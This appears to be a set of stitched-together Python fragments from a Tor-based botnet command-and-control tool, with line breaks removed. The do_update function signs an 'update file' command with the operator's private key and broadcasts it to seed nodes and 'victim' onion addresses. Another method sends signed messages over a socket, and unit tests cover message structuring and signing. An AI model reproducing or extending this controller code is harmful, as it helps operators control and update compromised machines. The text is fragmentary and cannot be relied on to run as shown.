def do_update(self, args: argparse.Namespace): if self.__private_key_path is None: print_red("Private key path is not configured") return file_path = args.file_path_in_victim file_path_to_hash = args.file_path_to_hash node_list_path = args.node_list_path print_green("\nWhich server has the updated file?\n") node_list = complete_node_list(node_list_path) print_list_with_indexes(node_list) print_green("\n\nIntroduce position of the server in the list:") selected_index = int(input()) selected_node = node_from_index( selected_index, seed_directions, node_list_path, "down" ) msg_info = { "msg_type": UPDATE_FILE, "msg": f"{file_path} {calculate_file_hash(file_path_to_hash)} " + f"{selected_node}", } msg = structure_msg(msg_info) signed_msg = sign_structured_msg(msg, self.__private_key_path) with open(node_list_path, "r") as neighbours: neighbours_info = neighbours.readlines() victim_directions = [ line.strip().split()[2].strip() for line in neighbours_info ] onions = [seed_comm[1] for seed_comm in seed_directions] + victim_directions broadcast(TOR_SERVER_PORT, signed_msg, onions)
def test_structure_msg_with_sign(msg_info, structured_msg): msg_info["sign"] = "this sign" expected_output = join_texts([structured_msg, b"this sign"]) actual_output = structure_msg(msg_info) assert isinstance(actual_output, bytes) assert actual_output == expected_output
def test_structure_msg_default_values(): msg_info = { "msg_type": 1, "msg": "hello", } expected_output = transform_to_bytes(join_texts(["0", "default", "1", "hello"])) actual_output = structure_msg(msg_info) assert isinstance(actual_output, bytes) assert actual_output == expected_output
def __send_msg( self, msg_type: int, msg: str, num_anonymizers: str = "0", address: str = "" ): msg_info = { "num_anonymizers": num_anonymizers, "onion": address, "msg_type": msg_type, "msg": msg, } msg = structure_msg(msg_info) signed_msg = sign_structured_msg(msg, self.__private_key_path) self.__socket.send(signed_msg)
def test_sign_structured_msg(msg_info, structured_msg): sample_structured_msg = structure_msg(msg_info) actual_output = sign_structured_msg(sample_structured_msg, private_key_path) assert isinstance(actual_output, bytes) assert actual_output.startswith(structured_msg)
def test_structure_msg(msg_info, structured_msg): output = structure_msg(msg_info) assert isinstance(output, bytes) assert output == structured_msg